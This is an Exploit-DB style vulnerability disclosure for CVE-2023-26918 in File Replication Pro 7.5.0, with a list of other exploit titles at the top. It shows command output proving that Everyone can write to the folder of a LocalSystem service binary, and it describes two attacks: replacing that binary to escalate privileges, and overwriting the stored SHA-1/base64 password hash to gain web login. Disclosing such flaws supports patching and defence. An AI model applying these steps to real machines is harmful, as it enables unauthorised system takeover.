bd09027499
18 changes to exploits/shellcodes/ghdb Franklin Fueling Systems TS-550 - Default Password Swagger UI 4.1.3 - User Interface (UI) Misrepresentation of Critical Information Linux Kernel 6.2 - Userspace Processes To Enable Mitigation Microsoft Word 16.72.23040900 - Remote Code Execution (RCE) Bang Resto v1.0 - 'Multiple' SQL Injection Bang Resto v1.0 - Stored Cross-Site Scripting (XSS) Chitor-CMS v1.1.2 - Pre-Auth SQL Injection GDidees CMS 3.9.1 - Local File Disclosure Lilac-Reloaded for Nagios 2.0.8 - Remote Code Execution (RCE) Piwigo 13.6.0 - Stored Cross-Site Scripting (XSS) ProjeQtOr Project Management System 10.3.2 - Remote Code Execution (RCE) Serendipity 2.4.0 - Cross-Site Scripting (XSS) Serendipity 2.4.0 - Remote Code Execution (RCE) (Authenticated) FUXA V.1.1.13-1186 - Unauthenticated Remote Code Execution (RCE) AspEmail v5.6.0.2 - Local Privilege Escalation File Replication Pro 7.5.0 - Privilege Escalation/Password reset due Incorrect Access Control
38 lines
No EOL
2 KiB
Text
38 lines
No EOL
2 KiB
Text
# Exploit Title: File Replication Pro 7.5.0 - Privilege Escalation/Password reset due Incorrect Access Control
|
|
# Date: 2023-04-13
|
|
# Exploit Author: Andrea Intilangelo
|
|
# Vendor Homepage: http://www.diasoft.net - https://www.filereplicationpro.com
|
|
# Software Link: http://www.filereplicationpro.com/install/InstData/Windows_64_Bit/VM/frpro.exe
|
|
# Version: 7.5.0
|
|
# Tested on: Windows 10 Pro 22H2 x64
|
|
# CVE: CVE-2023-26918
|
|
|
|
Incorrect file/folder permissions in Diasoft Corporation's File Replication Pro 7.5.0 allow privilege escalation by
|
|
replacing a file with another one that will be executed with "LocalSystem" rights from Windows Services application.
|
|
|
|
C:\Program Files>icacls "c:\Program Files\FileReplicationPro"
|
|
c:\Program Files\FileReplicationPro Everyone:(F)
|
|
Everyone:(OI)(CI)(IO)(F)
|
|
|
|
C:\Users\Administrator>sc qc frp
|
|
[SC] QueryServiceConfig OPERAZIONI RIUSCITE
|
|
|
|
NOME_SERVIZIO: frp
|
|
TIPO : 10 WIN32_OWN_PROCESS
|
|
TIPO_AVVIO : 2 AUTO_START
|
|
CONTROLLO_ERRORE : 1 NORMAL
|
|
NOME_PERCORSO_BINARIO : "C:\Program Files\FileReplicationPro\prunsrv.exe" //RS//frp
|
|
GRUPPO_ORDINE_CARICAMENTO :
|
|
TAG : 0
|
|
NOME_VISUALIZZATO : FRPReplicationServer
|
|
DIPENDENZE : Tcpip
|
|
: Afd
|
|
SERVICE_START_NAME : LocalSystem
|
|
|
|
To exploit the vulnerability a malicious actor/process must weaponize or replace the prunsrv.exe executable that runs
|
|
with LocalSystem privileges as "frp" (FRPReplicationServer) service, since the application's path has "Everyone" full
|
|
access permissions.
|
|
|
|
Moreover, the "properties.xml" file in the "etc" folder inside program's path contains the hashed password for remote
|
|
access stored in sha1(base64) value, that is possible to modify. Replacing it with a new hash, generated by encrypting
|
|
a string in SHA-1 and encoding its digest via base64, will grant the login access on the application's web interface. |